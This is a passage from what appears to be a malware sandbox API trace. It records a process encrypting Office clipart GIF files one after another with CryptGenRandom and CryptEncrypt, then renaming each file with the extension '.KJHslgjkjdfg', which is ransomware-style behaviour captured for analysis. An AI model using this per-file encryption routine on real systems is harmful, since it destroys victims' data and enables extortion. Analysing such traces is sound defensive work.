nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.230] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.230] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.230] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a7, lpOverlapped=0x0) returned 1 [0250.230] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0) returned 1 [0250.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.230] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b0, lpOverlapped=0x0) returned 1 [0250.230] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.230] SetEndOfFile (hFile=0x130) returned 1 [0250.232] GetProcessHeap () returned 0x2ef0000 [0250.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.233] GetProcessHeap () returned 0x2ef0000 [0250.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.kjhslgjkjdfg")) returned 1 [0250.235] CloseHandle (hObject=0x130) returned 1 [0250.235] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0250.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.236] GetProcessHeap () returned 0x2ef0000 [0250.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.236] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.237] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0250.238] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.238] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.238] GetProcessHeap () returned 0x2ef0000 [0250.238] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.238] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.239] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.239] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.240] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.240] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ad, lpOverlapped=0x0) returned 1 [0250.240] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0) returned 1 [0250.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.240] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b0, lpOverlapped=0x0) returned 1 [0250.240] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.240] SetEndOfFile (hFile=0x130) returned 1 [0250.243] GetProcessHeap () returned 0x2ef0000 [0250.243] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.243] GetProcessHeap () returned 0x2ef0000 [0250.243] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.kjhslgjkjdfg")) returned 1 [0250.245] CloseHandle (hObject=0x130) returned 1 [0250.245] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0250.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.247] GetProcessHeap () returned 0x2ef0000 [0250.247] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.247] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0250.250] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.250] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.250] GetProcessHeap () returned 0x2ef0000 [0250.250] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.250] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.250] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.250] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.250] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.251] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.251] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.251] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.251] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x161, lpOverlapped=0x0) returned 1 [0250.251] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170, dwBufLen=0x170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170) returned 1 [0250.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.251] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x170, lpOverlapped=0x0) returned 1 [0250.251] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.251] SetEndOfFile (hFile=0x130) returned 1 [0250.253] GetProcessHeap () returned 0x2ef0000 [0250.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.253] GetProcessHeap () returned 0x2ef0000 [0250.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.kjhslgjkjdfg")) returned 1 [0250.256] CloseHandle (hObject=0x130) returned 1 [0250.256] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0250.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.257] GetProcessHeap () returned 0x2ef0000 [0250.257] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.257] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.257] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0250.259] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.259] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.259] GetProcessHeap () returned 0x2ef0000 [0250.259] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.259] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.259] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.259] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.259] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.259] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.260] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.260] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.260] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ef, lpOverlapped=0x0) returned 1 [0250.260] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f0) returned 1 [0250.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.260] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f0, lpOverlapped=0x0) returned 1 [0250.260] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.260] SetEndOfFile (hFile=0x130) returned 1 [0250.268] GetProcessHeap () returned 0x2ef0000 [0250.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.268] GetProcessHeap () returned 0x2ef0000 [0250.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.kjhslgjkjdfg")) returned 1 [0250.270] CloseHandle (hObject=0x130) returned 1 [0250.270] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0250.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.273] GetProcessHeap () returned 0x2ef0000 [0250.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.273] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0250.275] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.275] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.275] GetProcessHeap () returned 0x2ef0000 [0250.275] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.275] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.276] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 